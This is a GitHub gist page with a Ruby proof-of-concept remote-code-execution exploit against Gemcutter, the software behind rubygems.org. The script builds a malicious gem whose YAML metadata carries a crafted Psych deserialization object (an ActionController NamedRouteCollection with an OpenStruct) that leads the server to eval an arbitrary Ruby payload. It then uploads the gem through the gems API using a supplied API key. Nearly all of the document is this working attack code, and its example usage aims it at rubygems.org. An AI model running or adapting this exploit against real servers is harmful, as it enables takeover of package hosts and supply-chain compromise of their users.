Skip to content

Instantly share code, notes, and snippets.

@judofyr
Created January 30, 2013 15:57
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save judofyr/4674219 to your computer and use it in GitHub Desktop.
Save judofyr/4674219 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
#
# Proof-of-Concept RCE exploit against Gemcutter
#
# ## Advisory
#
# ## Caveats
#
# ## Synopsis
#
# $ gemcutter_rce.rb BASE_URL API_KEY RUBY
#
# ## Dependencies
#
# $ gem install ronin-support
#
# ## Example
#
# $ gemcutter_rce.rb https://rubygems.org $API_KEY `cat payload.rb`
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit. If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, lianj, @bascule,
# @charliesome, @homakov, @envygeek, @blambeau
# (for originally reporting the vuln), @dtao (for safe_yaml), YAML,
# Kreayshawn, Lil Debbie, Boxxy, "rockin' the wolf on your noggin",
# SophSec crew and affiliates.
#
require 'ronin/network/http'
require 'ronin/ui/output'
require 'yaml'
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
def exploit(base_url,api_key,payload)
spec = Gem::Specification.new do |gem|
gem.name = 'exploit'
gem.version = Array.new(3) { rand(50) }.join('.')
gem.author = 'Hacker'
gem.email = 'support@rubygems.org'
gem.homepage = 'https://gist.github.com/'
gem.files = [File.basename($0)]
gem.summary = %{PoC malicious gem that exploits YAML.load in gemcutter}
gem.description = %{
A Proof-of-Concept PoC gem that exploits a vulnerability in the Psych YAML
parser, which allows the #[]= method to be called on arbitrary Objects.
If the #[]= method later calls eval() with the given arguments, this allows for
arbitrary execution of code.
}.strip
class << gem
attr_accessor :payload
def to_yaml(*)
payload = "(#{@payload}; @executed = true) unless @executed"
escaped_payload = "foo\n#{payload}\n__END__\n"
encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp
super + %{exploit: !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/object:OpenStruct
table:
:defaults:
:action: create
:controller: foos
:required_parts: []
:requirements:
:action: create
:controller: foos
:segment_keys:
- :format
modifiable: true
}
end
end
gem.payload = payload
end
print_info "Building malicious gem containing #{payload} ..."
builder = Gem::Builder.new(spec)
gem = File.new(builder.build,'rb')
print_info "Uploading malicious gem to #{base_url} ..."
return http_post(
:url => "#{base_url}/api/v1/gems",
:headers => {
:content_type => 'application/octet-stream',
:content_length => gem.size,
:authorization => api_key
},
:body => gem.read
)
end
if $0 == __FILE__
unless ARGV.length == 3
$stderr.puts "usage: #{$0} BASE_URL API_KEY RUBY"
exit -1
end
base_url = ARGV[0]
api_key = ARGV[1]
payload = ARGV[2]
response = exploit(base_url,api_key,payload)
case response.code
when '200' then print_info "Success!"
else
print_error "Error #{response.code}"
print_error response.body
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment